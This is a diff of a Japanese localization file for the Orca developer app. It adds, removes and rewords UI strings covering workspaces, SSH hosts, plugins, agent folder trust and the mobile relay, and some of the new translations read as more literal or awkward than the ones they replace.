+          "wslRegistrationUnavailable": "WSL CLI の登録を利用できません。",
+          "wslWindowsOnly": "WSL CLI の登録は Windows でのみ利用できます。"
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}を押しながらクリックするとシステムブラウザーで開きます",
+        "tooltip": "{{label}}。{{hint}}"
       }
     },
     "hooks": {
@@ -1446,7 +1495,8 @@
         "setupAgentStartupPolicySaveFailed": "セットアップ時の起動設定を保存できませんでした。",
         "5f3d2c8a1b": "MR のベースブランチを特定できませんでした。",
         "dropPartiallyAttached_one": "{{count}} アイテムの {{failureCount}} を接続できませんでした。",
-        "dropPartiallyAttached_other": "{{count}} 個のアイテムのうち {{failureCount}} 個を接続できませんでした。"
+        "dropPartiallyAttached_other": "{{count}} 個のアイテムのうち {{failureCount}} 個を接続できませんでした。",
+        "dropPartiallyAttached": "{{count}} 個のアイテムのうち {{failureCount}} 個を接続できませんでした。"
       },
       "useGlobalFileDrop": {
         "38c9f034ff": "ドロップされたファイルのアップロードに失敗しました。",
@@ -1462,7 +1512,8 @@
         "nativeDropTempCopyFailed_one": "ドロップされた {{count}} 個のファイルを Orca でコピーできませんでした。",
         "nativeDropTempCopyFailed_other": "ドロップされた {{count}} 個のファイルを Orca でコピーできませんでした。",
         "hostMismatch": "このエディターは別のホスト上にあります。元のワークスペースからファイルを開いてください。",
-        "workspaceOpenFailed": "{{fileName}} を開けませんでした。元のワークスペースから開いて、もう一度お試しください。"
+        "workspaceOpenFailed": "{{fileName}} を開けませんでした。元のワークスペースから開いて、もう一度お試しください。",
+        "nativeDropTempCopyFailed": "ドロップされた {{count}} 個のファイルを Orca でコピーできませんでした。"
       },
       "useIpcEvents": {
         "0e3cf53060": "ブラウザタブ {{value0}} が見つかりません",
@@ -2005,7 +2056,6 @@
         "23886c7eec": "ラベルを追加",
         "7f7b89b631": "ラベル: {{value0}}",
         "b2376d0179": "メンバーを読み込み中",
-        "866316f22c": "未割り当て",
         "b5675b0694": "保存",
         "ceeb8c6153": "クリア",
         "fbb90300e2": "カスタム見積り",
@@ -3123,7 +3173,6 @@
               "f4c79cff5f": "以下のワークスペースエラーを確認し、更新してください。",
               "ef90b21366": "ビューが見つかりませんでした",
               "c0a50f96a4": "ビューをロードできません",
-              "df4bd63c1d": "未割り当て",
               "30402d2c6e": "検索または更新してみてください。",
               "a2f31c4cd6": "Linear プロジェクトが見つかりません",
               "c9b6e9f90d": "Linear プロジェクトをロードできません",
@@ -3369,12 +3418,12 @@
             "c6460cf584": "操作を取り戻す",
             "c44659e09f": "スマホ操作中",
             "c7e4a2b8f1": "スマホが操作中です",
-            "4b7e1c9a20": "スマホのサイズのままです",
-            "9d2f6a3e58": "スマホでの操作が終了しました。復元すると、このウィンドウのサイズに戻ります。",
+            "4b7e1c9a20": "スマートフォンにぴったりのサイズ",
+            "9d2f6a3e58": "電話セッションが終了しました。このウィンドウに合わせて復元します。",
             "1e5c8b7d43": "復元する",
             "6a3d9f2c71": "すべて復元する",
-            "8c1a5e9f36": "デスクトップからの入力は止まっています。出力の表示は続きます。",
-            "2f7b4d1e95": "すべての操作を取り戻す",
+            "8c1a5e9f36": "デスクトップの入力が一時停止されます。出力はストリーミングを続けます。",
+            "2f7b4d1e95": "全部取り戻せ",
             "3a9c5f7e12": "最小化する"
           },
           "TerminalAgentSessionForkDialog": {
@@ -3605,7 +3654,7 @@
             "openLink": "リンクを開く",
             "openFile": "ファイルを開く",
             "switchWorkspace": "ワークスペースを切り替える",
-            "openInFinder": "Finderで開く",
+            "openInFinder": "ファインダーで開く",
             "openFolder": "フォルダーを開く",
             "openWithDefaultApp": "デフォルトのアプリで開く",
             "switchTerminal": "スイッチ端子",
@@ -3655,6 +3704,9 @@
           "RemoteViewportHeldChip": {
             "sizedElsewhere": "別のウィンドウに合わせたサイズ",
             "fitHere": "ここに合わせる"
+          },
+          "legacyRelayBridge": {
+            "unreachable": "このターミナルは、古いバージョンのOrcaを使うホストで引き続き実行されています。再接続しています…"
           }
         }
       },
@@ -5383,7 +5435,8 @@
           "moreLoadedPaths_other": "ほかに読み込み済みのパス {{count}} 件",
           "changesLost_one": "未コミットの変更 {{count}} 件が失われます",
           "changesLost_other": "未コミットの変更 {{count}} 件が失われます",
-          "uncountedChangesLost": "未コミットの変更が失われます"
+          "uncountedChangesLost": "未コミットの変更が失われます",
+          "moreLoadedPaths": "ほかに読み込まれたパスが{{value0}}件"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "子ワークスペースは削除されます",
@@ -5857,10 +5910,10 @@
           "workspaceSection": "ワークスペース",
           "primaryDeleteDisabled": "プライマリワークツリーは削除できません。代わりにプロジェクトを削除してください。",
           "deleteWorktree": "ワークツリーを削除",
-          "sleepWithDescendantsDescription": "このワークスペースと配下のすべてのワークスペースのアクティブなパネルを閉じて、メモリと CPU の使用量を減らします。",
+          "sleepWithDescendantsDescription": "このワークスペースとすべてのネストされた子孫のアクティブなパネルを閉じて、メモリと CPU を解放します。",
           "sleepThisWorkspace": "このワークスペース",
           "sleepDescendantsOption": "配下を含める ({{value0}})",
-          "deleteWithDescendants": "配下のワークスペースも含めて削除…",
+          "deleteWithDescendants": "子孫と一緒に削除…",
           "editDetails": "詳細を編集…",
           "copySubmenu": "コピー",
           "copyPathOption": "パス",
@@ -6329,7 +6382,7 @@
         },
         "WorktreeCardStatusSlot": {
           "branchIdentity": "ブランチ",
-          "sleeping": "スリープ中",
+          "sleeping": "眠っている",
           "markAsRead": "既読にする",
           "markAsUnread": "未読にする"
         },
@@ -6430,7 +6483,8 @@
           "sshConfigPickerResolving": "読む…",
           "pairingHelpShareComputer": "もう一方のコンピューターで「設定 → リモート Orca サーバー → このコンピューターを共有」から作成します。",
           "sshImportSynced_other": "{{count}} 台のホストを Orca に追加しました。",
-          "sshConfigPickerInvalidResponse": "SSH 設定のホスト応答が無効です"
+          "sshConfigPickerInvalidResponse": "SSH 設定のホスト応答が無効です",
+          "sshImportSynced": "{{value0}} ホスト{{value1}} を同期しました。"
         },
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}} は保存済みの SSH ホストではなくなったため、このワークスペースは稼働中のホストに接続されていません。Orca から削除することのみ可能です。リモート上のファイルとブランチはそのまま残ります。",
@@ -6489,7 +6543,12 @@
                 "1e1a5f6763": "ローカルブランチが削除されました: {{value0}}",
                 "43d9395605": "{{value0}} は削除されましたが、{{value1}} は削除されていません",
                 "d42f1f14e0_one": "{{count}} ブランチを再試行します",
-                "d42f1f14e0_other": "{{count}} ブランチを再試行"
+                "d42f1f14e0_other": "{{count}} ブランチを再試行",
+                "0e0379f24a": "{{count}} ブランチが保持されました",
+                "6310412304": "{{count}} ブランチを確認する",
+                "a3cdd9d9e6": "Git では、マージされていないコミットが含まれる可能性があるため、{{count}} ローカルブランチを保持しました。保持されたブランチはワークスペースフォルダーを保持しません。彼らのコミットはリポジトリに残ります。 Orca はバックグラウンドでワークスペースのディスク領域を解放し続ける可能性があります。",
+                "cea24c2b7d": "{{count}} ワークスペースが削除されました",
+                "d42f1f14e0": "{{count}} ブランチを再試行"
               }
             }
           }
@@ -6503,7 +6562,8 @@
           "676db406fd": "ヘッドが使用不可",
           "285e1e4882": "キャンセル",
           "a0f9863597_one": "{{count}} ブランチを強制削除",
-          "a0f9863597_other": "{{count}} ブランチを強制的に削除"
+          "a0f9863597_other": "{{count}} ブランチを強制的に削除",
+          "a0f9863597": "{{count}} ブランチを強制的に削除"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "先頭へジャンプ"
@@ -6657,6 +6717,19 @@
           "needsInput": "入力待ち",
           "running": "実行中",
           "idle": "アイドル"
+        },
+        "hostSection": {
+          "localWindows": "この Windows",
+          "localMac": "この Mac",
+          "localLinux": "この Linux",
+          "thisComputer": "このコンピューター",
+          "host": "ホスト"
+        },
+        "workspaceBoardStatus": {
+          "todo": "未着手",
+          "inProgress": "進行中",
+          "inReview": "レビュー中",
+          "done": "完了"
         }
       },
       "shared": {
@@ -6948,7 +7021,6 @@
           "5f5142a62a": "前のアイコン"
         },
         "AppearancePane": {
-          "3057983501": "未割り当て",
           "0cd9b8228f": "Dock とウィンドウのスイッチャーに表示されるアプリのアイコンを選択します。",
           "61d842eca0": "Orca Mobile のショートカットをサイドバーに表示します。ツールボックスから引き続き利用できます。",
           "dc29f3cc0d": "サイドバー",
@@ -7076,6 +7148,9 @@
           "333984cf90": "既存のブラウザセッションを使用する",
           "9895ed44de": "コンピュータ操作を開く"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Agent ブラウザの使用を有効にする"
+        },
         "BrowserUseExamples": {
           "1199258ace": "コピー",
           "1188e56af4": "プロンプトの例をコピーする",
@@ -7316,10 +7391,6 @@
             "modeAriaLabel": "Agent ダッシュボードの開き方",
             "modeInWindow": "ウィンドウ内",
             "modePopout": "ポップアウト"
-          },
-          "browserExtensions": {
-            "copy": "ローカルブラウザプロファイル向けに 設定 › ブラウザ › 拡張機能 を追加します。",
-            "toggleLabel": "ブラウザ拡張機能を切り替え"
           }
         },
         "FloatingWorkspacePane": {
@@ -8074,6 +8145,9 @@
           "d32b87e754": "利用可能な場合はレビューテンプレートを使用する",
           "981eae7e14": "デフォルトでドラフト"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "ソース管理 AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "ここで取り消しても、このコンピューターへの SSH アクセスを持つ人は再びペアリングできます。完全に遮断するには、その SSH アクセスを削除してください。",
           "6f6d5188ed": "{{value0}}を取り消す",
@@ -9472,13 +9546,6 @@
               "inWindow": "窓内",
               "worktrees": "ワークツリー",
               "eaf17a7214": "Agent ダッシュボード"
-            },
-            "browserExtensions": {
-              "title": "ブラウザ拡張機能",
-              "description": "パスワードマネージャーなどの Chrome 拡張機能を Orca のブラウザタブで実行します。",
-              "extension": "拡張機能",
-              "chrome": "クローム",
-              "password": "パスワードマネージャー"
             }
           }
         },
@@ -10384,7 +10451,7 @@
             "d2a366c7f9": "ダブルクリック",
             "4ed3e239a8": "境界",
             "d4aeafac10": "セパレーター",
-            "7286cd2566": "単語",
+            "7286cd2566": "言葉",
             "3ab64c47d8": "文字はダブルクリック選択の単語境界として扱われます。",
             "56fff3d113": "メモリ",
             "fffdff40a7": "バッファ",
@@ -10561,11 +10628,11 @@
               "080202facb": "モデル",
               "7640ed9848": "声",
               "56defcd6c3": "ディクテーションに使用するローカルまたはクラウドの音声テキスト変換モデルを選択します。",
-              "931b1a9e53": "プッシュトゥトーク",
+              "931b1a9e53": "押して話をする",
               "064a9bd94a": "長押し",
               "6fa48bcd41": "トグル",
               "d86f5600da": "モード",
-              "089d31a45b": "音声入力",
+              "089d31a45b": "口述筆記",
               "748b33e531": "ディクテーション動作を切り替えたり、押し続けたりします。",
               "e360027a65": "マイクロフォン",
               "698376a38d": "音声ディクテーション機能のマスター切り替え。",
@@ -10664,12 +10731,27 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Orca が Agent を起動するときにフォルダーを信頼する",
-          "description": "Orca が起動した Agent は「Do you trust this folder?」の確認を省略できるため、プロジェクトの Agent のフックと設定がすぐに実行されます。Orca はリポジトリごとに、初めて Agent を起動したときに一度だけ確認します。回答はそのリポジトリの設定で変更できます。オフにすると Agent は常に確認します。オーケストレーションのワーカー、オートメーション、スマートフォンから起動した Agent など、あなたが見ていない間に動く Agent が確認を求めた場合は、そのターミナルで応答するまで待機します。すでに信頼済みのフォルダーは信頼されたままです。"
+          "description": "Orca が起動した Agent は「Do you trust this folder?」の確認を省略できるため、プロジェクトの Agent のフックと設定がすぐに実行されます。リポジトリごとに、そのリポジトリの設定でオフにできます。オフにすると Agent は常に確認します。オーケストレーションのワーカー、オートメーション、スマートフォンから起動した Agent など、あなたが見ていない間に動く Agent が確認を求めた場合は、そのターミナルで応答するまで待機します。すでに信頼済みのフォルダーは信頼されたままです。"
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "タブタイトルを自動生成",
           "b036c7a409": "最初に判明した Agent のプロンプトから、短く安定したタブ名を生成します。手動での名前変更が常に優先されます。"
         },
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "ローカル main を最新の状態に保つ"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "cli": {
           "source": {
             "control": {
@@ -11255,7 +11337,7 @@
           },
           "decisionFailed": "権限の選択を保存できませんでした。再試行してください。",
           "fullAccessWarning": "フルアクセス：通常のプログラムとして実行され、ファイルの読み取り、ネットワークの使用、他のプログラムの実行、ターミナルや Agent を含む Orca の操作ができます。",
-          "uiWarning": "ビューを描画するため、公開元のコードを Orca 内で実行します。Orca はアクセスできる範囲を表示し、有効にする前に確認します。"
+          "uiWarning": "発行元のコードを Orca 内で実行してビューを描画します。Orca はアクセスできる対象を表示し、有効化の前に確認します。"
         },
         "PluginConsentProvenance": {
           "official": "公式",
@@ -11712,7 +11794,7 @@
           "artifactsTitle": "成果物の共有",
           "artifactsDescription": "HTML ファイルと Markdown ファイルを公開し、Orca からのすべての共有リンクを管理します。",
           "relayTitle": "Orca リレー",
-          "relayDescription": "Orca Mobile をモバイル回線でも、どの Wi-Fi からでも、このデスクトップに接続します。",
+          "relayDescription": "Orca Mobile を携帯電話または Wi-Fi 経由でこのデスクトップに接続します。",
           "skillsTitle": "スキルの共有",
           "skillsDescription": "1 つのスキルまたはスキルセット全体を非公開リンクで共有し、使用するマシンにインストールします。",
           "keywordAccount": "アカウント",
@@ -12106,7 +12188,9 @@
           "automationsLeftDisabled_one": "このホストの Orca サーバーは {{count}} 件の自動化を引き継ぎましたが、再度オンにできませんでした。自動化でオンにしてください。",
           "automationsLeftDisabled_other": "このホストの Orca サーバーは {{count}} 件の自動化を引き継ぎましたが、再度オンにできませんでした。自動化でオンにしてください。",
           "windowsBuildUnsupported": "このホストは Windows 10 および Windows Server 2016 より古いバージョンの Windows を実行しているため、Orca のサーバーを実行できません。より新しいバージョンの Windows のホスト、または Linux か macOS のホストを使用してください。",
-          "windowsNoExtractor": "この Windows ホストには tar.exe も PowerShell の Expand-Archive もないため、Orca はサーバーを展開できません。ホストに Windows PowerShell 5.1 をインストールしてから、もう一度接続してください。"
+          "windowsNoExtractor": "この Windows ホストには tar.exe も PowerShell の Expand-Archive もないため、Orca はサーバーを展開できません。ホストに Windows PowerShell 5.1 をインストールしてから、もう一度接続してください。",
+          "linkedProjects": "このホストの Orca サーバーには {{paths}} が既にあったため、このデスクトップはサーバーのコピーを使用します。このデスクトップのタブと {{count}} 件のオートメーションは移動されず、ここで作成したワークツリーは外部ワークツリーとして表示されます。",
+          "olderTerminals": "以前のバージョンの Orca で開始された {{count}} 個のターミナルがこのホストでまだ実行中で、自動では終了しません。そのバージョンの Orca で閉じるか、ホスト上で終了してから再接続してください。"
         },
         "deltaMove": {
           "action": "新規プロジェクトを移動…",
@@ -12245,7 +12329,7 @@
         "SshRestoreRemovedHosts": {
           "title": "削除したホストを復元しますか？",
           "description": "Orca で削除した ~/.ssh/config のホストが、設定とすべてのホスト選択に戻ります。",
-          "none": "Orca で削除した ~/.ssh/config のホストのうち、復元できるものはありません。",
+          "none": "~/.ssh/config から削除したホストはありません。",
           "confirm": "復元"
         },
         "SshTargetList": {
@@ -12583,10 +12667,10 @@
         },
         "PluginInstallConsent": {
           "noOtherAccess": "その他のアクセスはありません",
-          "replacesShortcut": "{{value0}}（{{value1}}）が {{value2}} のショートカットを置き換えます。",
+          "replacesShortcut": "{{value0}}（{{value1}}）は {{value2}} のショートカットを置き換えます。",
           "updatesKeepApproval": "アップデートは新しいアクセスがあるときだけ確認します",
           "fullAccessUpdates": "アップデートで確認なしにコードが変わることがあります",
-          "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取れます。",
+          "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取ることもできます。",
           "install": "インストールして有効化",
           "keepOff": "オフのままにする"
         },
@@ -12598,7 +12682,7 @@
           "autoUpdateHint": "新しいアクセスがあるときだけ確認します",
           "label": "プラグイン設定",
           "development": "開発フォルダー…",
-          "autoUpdateLabel": "プラグインを自動でアップデート"
+          "autoUpdateLabel": "プラグインを自動更新"
         },
         "PluginInUseAction": {
           "inUseDark": "使用中 · ダーク",
@@ -12682,13 +12766,13 @@
           "translations": "翻訳は Orca 内のあらゆるテキストを変更できます。{{value0}} を信頼できることを確認してください。"
         },
         "pluginConsentCopy": {
-          "addsCommands": "コマンドを追加",
-          "addsPanel": "パネルを追加",
+          "addsCommands": "コマンドを追加します",
+          "addsPanel": "パネルを追加します",
           "contentOnly": "コンテンツのみ",
           "fullAccess": "フルアクセス",
-          "addsVmRecipes": "VM レシピを追加",
-          "opensAndEditsFiles": "ファイルを開いて編集",
-          "runsPluginCode": "プラグインのコードを実行"
+          "addsVmRecipes": "VM レシピを追加します",
+          "opensAndEditsFiles": "ファイルを開いて編集します",
+          "runsPluginCode": "プラグインのコードを実行します"
         },
         "pluginTryAction": {
           "incompleteLanguage": "この言語パックは未完成の部分が多いため、切り替えられません。"
@@ -12724,7 +12808,7 @@
         "PluginPageHero": {
           "screenshots": "スクリーンショット",
           "openScreenshot": "スクリーンショットを開く: {{value0}}",
-          "position": "{{value0}} / {{value1}}",
+          "position": "{{value1}} 件中 {{value0}} 件目",
           "previous": "前のスクリーンショット",
           "next": "次のスクリーンショット"
         },
@@ -12752,27 +12836,6 @@
           "shownPluginCount_one": "これを含む {{count}} 件の一致するプラグインを表示",
           "shownPluginCount_other": "これを含む {{count}} 件の一致するプラグインを表示",
           "samePublisher": "{{value0}} として掲載された他のプラグイン"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "ソース管理 AI"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "ローカル main を最新の状態に保つ"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Agent ブラウザの使用を有効にする"
         }
       },
       "right": {
@@ -12873,7 +12936,7 @@
             "e887fa4b2e": "ターミナルで開く",
             "1d8e182c32": "ファイルを表示",
             "clipboardStagingUnavailable": "Orca の一時ストレージが利用できないため、ファイルをコピーできませんでした",
-            "revealInFinder": "Finderで表示",
+            "revealInFinder": "ファインダーで表示",
             "openContainingFolder": "含まれているフォルダーを開く",
             "revealInFileExplorer": "ファイルエクスプローラーで表示"
           },
@@ -14366,7 +14429,8 @@
           "yoloModeLabel": "Yolo モード",
           "yoloPermissionsDescription": "Agent は確認なしでコマンドを実行しファイルを編集します。一部はサンドボックスも回避します。信頼できるプロジェクトでのみ使用してください。",
           "showMoreAgents_other": "Agent をさらに {{count}} 件表示 →",
-          "agentNotOnPath": "<agent>{{agent}}</agent> はまだ PATH にありません。Orca がデフォルトに設定します。インストールはいつでも可能です。"
+          "agentNotOnPath": "<agent>{{agent}}</agent> はまだ PATH にありません。Orca がデフォルトに設定します。インストールはいつでも可能です。",
+          "showMoreAgents": "{{value0}} 件の Agent をさらに表示 →"
         },
         "IntegrationsStep": {
           "277f30eb34": "Linear、GitLab、Bitbucket、Azure DevOps、Gitea、Jira は [設定] > [連携] にあります。",
@@ -14759,7 +14823,7 @@
           "missing-description": "Windowsがペアリングサーバーをブロックする可能性があります。プライベートネットワーク上のこの Orca アプリとTCPポート{{port}}のルールを追加してください。",
           "open-settings": "ネットワーク設定を開く",
           "waiting": "Windowsを待機中…",
-          "allow": "スマホからの接続を許可",
+          "allow": "電話接続を許可",
           "repair-unverified": "Windows ファイアウォールのアクセスを確認できませんでした",
           "blocked-title": "Windowsが Orca モバイルをブロックしている可能性があります",
           "blocked-description": "既存のインバウンドブロックルールがペアリング例外を上書きする可能性があります。修復はこの Orca アプリの競合するTCPルールを削除し、プライベートネットワーク上のポート{{port}}を許可します。",
@@ -15419,7 +15483,8 @@
           "showAiNotes_other": "AIメモを {{count}} 件表示",
           "send": "送信",
           "openDiff": "差分を開く",
-          "openInEditor": "エディターで開く"
+          "openInEditor": "エディターで開く",
+          "skippedConflictsExcluded": "未解決の競合 {{count}} 件がこの差分ビューから除外されました。"
         },
         "ConflictComponents": {
           "f338288514": "競合するコンテンツを読み込んでいます…",
@@ -16578,10 +16643,10 @@
           },
           "BrowserMobileDriverOverlay": {
             "a6914ee43f": "操作を取り戻す",
-            "f4ecd61552": "このタブはスマホから操作されています。操作を取り戻すと、デスクトップで使えます。",
+            "f4ecd61552": "このタブはスマートフォンから制御されています。持ち帰ってデスクトップで使用します。",
             "d9768ec642": "ブラウザ入力が一時停止されています",
             "20539eca03": "モバイルがこのブラウザを操作しています",
-            "7c31b0da94": "このタブの操作を取り戻せませんでした。スマホでの接続状況を確認して、もう一度試してください。"
+            "7c31b0da94": "このタブを元に戻すことができませんでした。電話セッションを確認して、もう一度試してください。"
           },
           "BrowserPane": {
             "1ded0d3168": "スクリーンショットをコピー",
@@ -16845,7 +16910,7 @@
           "a7c312430d": "最後の実行",
           "2df8970cd5": "Agent",
           "e353ab9516": "事前チェック",
-          "620b22145e": "猶予時間",
+          "620b22145e": "グレース",
           "15ea446b93": "セッション",
           "5405a09b1f": "実行場所",
           "2f8baf5360": "から作成",
@@ -16912,9 +16977,9 @@
           "521f77cd58": "1時間",
           "e5ad263ae5": "30分",
           "529dc6c0b7": "猶予なし",
-          "3d70c185c8": "予定の時刻に Orca または実行ホストが利用できなかった場合、この猶予時間内に利用できるようになれば、実行できなかった分のうち直近の 1 回を実行します。それより前の分はスキップされます。",
+          "3d70c185c8": "Orca または実行ホストがスケジュールされた時刻に利用できなかった場合、Orca はこのウィンドウ内で利用可能になったときに、欠落したオカレンスを 1 つ実行します。失敗した古い実行はスキップされます。",
           "3df53d554a": "実行漏れの猶予時間のヘルプ",
-          "fc089e5fde": "猶予時間"
+          "fc089e5fde": "グレース"
         },
         "AutomationPrecheckFields": {
           "d2a2ac89ac": "10分",
@@ -17462,7 +17527,10 @@
           "markManyUnread_one": "{{count}} 件の Agent を未読としてマークする",
           "markManyUnread_other": "{{count}} 件の Agent を未読としてマークする",
           "clearMany_one": "{{count}} 件の Agent をリストから消去",
-          "clearMany_other": "{{count}} 件の Agent をリストから消去"
+          "clearMany_other": "{{count}} 件の Agent をリストから消去",
+          "clearMany": "{{count}} 件の Agent をリストから消去",
+          "markManyRead": "{{count}} 件の Agent に既読マークを付ける",
+          "markManyUnread": "{{count}} 件の Agent を未読としてマークする"
         }
       },
       "confirmation": {
@@ -17623,7 +17691,8 @@
               "searchProjects": "プロジェクトを検索…",
               "noMatches": "検索条件に一致するプロジェクトはありません。",
               "chooseSource": "タスクソースを選択",
-              "hostCount_other": "{{count}} 台のホスト"
+              "hostCount_other": "{{count}} 台のホスト",
+              "hostCount": "{{value0}} 台のホスト"
             }
           }
         },
@@ -17736,7 +17805,6 @@
         "status": "状態",
         "priority": "優先度",
         "assignee": "担当者",
-        "unassigned": "未割り当て",
         "labels": "ラベル",
         "countSelected": "{{count}}件選択中",
         "selected": "選択中",
@@ -17799,7 +17867,7 @@
         },
         "PluginListGroup": {
           "showAll": "さらに {{value0}} 件を表示",
-          "showAllTotal": "{{value0}} 件のプラグインをすべて表示"
+          "showAllTotal": "{{value0}} 個のプラグインをすべて表示"
         },
         "PluginListRow": {
           "official": "公式"
@@ -17815,7 +17883,9 @@
         "failingChip": "{{value0}} 件失敗",
         "pendingChip": "{{value0}} 件保留中",
         "needsActionChip": "{{value0}} 件の対応が必要",
-        "unresolvedChip": "{{value0}} 件未解決"
+        "unresolvedChip": "{{value0}} 件未解決",
+        "noChecks": "チェックが見つかりません",
+        "passingSummary": "{{value0}}/{{value1}} 件のチェックが通過"
       },
       "artifacts": {
         "ArtifactsPage": {
@@ -18106,7 +18176,7 @@
         "8d2e4f7a1b": "成果物の共有",
         "2c9a5b6e8d": "HTML ファイルと Markdown ファイルを公開し、Orca からのすべての共有リンクを管理します。",
         "6e3f1a9c5b": "Orca リレー",
-        "4b7d2e8f1a": "Orca Mobile をモバイル回線でも、どの Wi-Fi からでも、このデスクトップに接続します。",
+        "4b7d2e8f1a": "Orca Mobile を携帯電話または Wi-Fi 経由でこのデスクトップに接続します。",
         "9a4c6b2d7e": "スキルの共有",
         "3d8e5f1b9c": "非公開リンクでスキルを共有し、使用するマシンにインストールします。",
         "c5b3e8a17d": "Orca にサインインする"
@@ -18308,14 +18378,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "{{repo}} を Agent 用に信頼しますか？",
-        "prompt-description": "Claude Code や Codex などの Agent は、プロジェクト独自の Agent 設定とフック（コマンドを実行できます）を読み込む前に「Do you trust this folder?」と確認します。Orca がこのリポジトリのすべてのワークツリーで代わりに「はい」と答えることができます。",
-        "prompt-remembered": "Orca はこのリポジトリへの回答を記憶します。リポジトリの設定で変更できます。",
         "trust-repository": "リポジトリを信頼",
         "let-agents-ask": "Agent に確認させる",
         "setting-title": "Agent のフォルダー信頼",
         "setting-description": "このリポジトリのワークツリーで Orca が起動した Agent が「Do you trust this folder?」の確認を省略し、プロジェクトの Agent 設定とフックをすぐに読み込むかどうかを指定します。",
-        "setting-undecided": "まだ決めていません。次にここで Agent を起動したときに Orca が確認します。",
         "setting-global-off": "Agent 設定でフォルダーの信頼がオフになっているため、Agent は常に確認します。",
         "keyword-trust": "信頼",
         "keyword-hooks": "フック"
@@ -19016,7 +19082,8 @@
         "updated": "{{task}} を更新しました",
         "unchanged": "タスクは変更されていない",
         "showAll": "完全なタスクリスト",
-        "progress_other": "タスク {{count}} 件中 {{completed}} 件完了"
+        "progress_other": "タスク {{count}} 件中 {{completed}} 件完了",
+        "progress": "{{total}} 件中 {{completed}} 件のタスクが完了しました"
       },
       "turnDiff": {
         "partial": "部分的な差分",
@@ -19102,6 +19169,14 @@
         "stateDoneCount_other": "完了: {{value0}}",
         "stateIdleCount_other": "停止: {{value0}}",
         "stateUnverifiableCount_other": "状態取得不可: {{value0}}",
+        "headerTotal": "{{value0}} バックグラウンドタスク",
+        "stateBlockedCount": "{{value0}} ブロックされました",
+        "stateDoneCount": "{{value0}} 終わり",
+        "stateIdleCount": "{{value0}} 止まった",
+        "stateMonitoringCount": "{{value0}} 監視",
+        "stateUnverifiableCount": "{{value0}} は状態を取得できません",
+        "stateWaitingCount": "{{value0}} 待機中",
+        "stateWorkingCount": "{{value0}} 実行中",
         "showAgent": "会話に {{value0}} を表示"
       },
       "railLabel": "あなたのメッセージ",
@@ -19111,7 +19186,8 @@
         "awaiting": "ユーザー入力を待っています:",
         "awaitingUnnamed": "ユーザー入力を待っています",
         "asked": "質問:",
-        "questionCount_other": "{{count}} 件の質問"
+        "questionCount_other": "{{count}} 件の質問",
+        "questionCount": "{{value0}} の質問"
       },
       "subagents": {
         "state": {
@@ -19125,7 +19201,12 @@
           "idleCount_other": "アイドル状態 {{count}} 件",
           "failedCount_other": "失敗 {{count}} 件",
           "stoppedCount_other": "停止 {{count}} 件",
-          "unverifiableCount_other": "状態取得不可 {{count}} 件"
+          "unverifiableCount_other": "状態取得不可 {{count}} 件",
+          "failedCount": "{{value0}} 件失敗",
+          "idleCount": "{{value0}} アイドル状態",
+          "stoppedCount": "{{value0}} が停止しました",
+          "unverifiableCount": "{{value0}} 件は状態を取得できません",
+          "workingCount": "{{value0}} は動作しています"
         },
         "tokens": "{{value0}} トークン",
         "unnamed": "サブ Agent",
@@ -19230,12 +19311,13 @@
         "clearAll": "すべてクリア",
         "moveChanged": "移動の前にキューが変更されました。もう一度メッセージをドラッグしてください。",
         "reorderHint": "ドラッグするか、上下の矢印キーを使って並べ替えます。",
-        "reorderMessage": "メッセージを並べ替え"
+        "reorderMessage": "メッセージを並べ替え",
+        "imageCount": "画像 {{count}} 枚"
       },
       "thought": "考えました",
       "thoughtForDuration": "{{duration}} 考えました",
       "structuredSessionHostDeclined": "{{value0}} をターミナルで開きました",
-      "structuredSessionHostDeclinedDescription": "このワークスペースでは {{value0}} チャットを実行できません。",
+      "structuredSessionHostDeclinedDescription": "このサーバーはこのワークスペースで {{value0}} チャットを実行できません。",
       "structuredSessionHostUnreachable": "{{value0}} に接続できませんでした",
       "structuredSessionHostUnreachableDescription": "Orca は {{value0}} チャットを開きませんでした。サーバーへの接続を確認して、もう一度お試しください。",
       "hostOutage": {
@@ -20237,6 +20319,11 @@
     },
     "dictation": {
       "stoppedAfterSilenceSeconds": "{{seconds}} 秒間無音だったため停止しました"
+    },
+    "toastFallbacks": {
+      "filesDropFailed": "ファイルをドロップできませんでした。",
+      "filesUploadFailed": "ファイルをアップロードできませんでした。",
+      "filesResolveDroppedFailed": "ドロップしたファイルを解決できませんでした。"
     }
   },
   "dashboardPopout": {
@@ -20323,23 +20410,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "パスワード保存の確認",
-        "updateTitle": "パスワードを更新しますか？",
-        "saveTitle": "パスワードを保存しますか？",
-        "username": "ユーザー名",
-        "password": "パスワード",
-        "never": "このサイトでは保存しない",
-        "notNow": "今はしない",
-        "update": "更新",
-        "save": "保存"
-      },
-      "fill": {
-        "noUsername": "（ユーザー名なし）",
-        "title": "保存済みのログイン情報",
-        "otherLogins": "このサイトの他のログイン情報"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "ログイン",
+      "unavailable": "選択したホストではこのプロファイルを利用できません。",
